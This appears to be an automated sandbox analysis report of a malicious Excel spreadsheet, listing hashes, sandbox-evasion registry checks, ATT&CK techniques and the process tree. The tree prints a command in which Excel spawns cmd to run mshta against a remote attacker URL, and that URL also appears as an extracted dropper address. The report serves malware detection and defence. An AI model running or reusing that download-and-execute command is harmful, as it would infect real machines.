39851790833d98071add8efb9d98feefba93076f3553011a9fdd4d8032c772d4

General

Target
tmp62rceewu.xls
Size 90KB
Sample220128-1zhk3aegbl
SHA256 39851790833d98071add8efb9d98feefba93076f3553011a9fdd4d8032c772d4
MD5 54b373459c01ec29b75473ddfebac7ad
SHA1 a31fbcfb54fb7305caad92462b943cd60b238c01
SHA512 879c0784eb84d78b01bc8a5b1b9789ad91ecebe37ddaf5c31f6a8020e1afea5c299ace75438947c61245d5083087294b0013df8316012b5095e5ddb79cf9bc1a
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://91.240.118.172/cc/vv/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1548	3468	CMD.EXE	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
43	872	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3468	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3468 wrote to memory of 1548	3468	EXCEL.EXE	74
PID 3468 wrote to memory of 1548	3468	EXCEL.EXE	74
PID 1548 wrote to memory of 872	1548	CMD.EXE	76
PID 1548 wrote to memory of 872	1548	CMD.EXE	76

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp62rceewu.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c mshta http://91.240.118.172/cc/vv/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.172/cc/vv/fe.html
    3⤵
    - Blocklisted process makes network request
    PID:872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3468-115-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

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memory/3468-116-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

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memory/3468-117-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

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memory/3468-118-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

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memory/3468-119-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

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memory/3468-128-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

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memory/3468-129-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads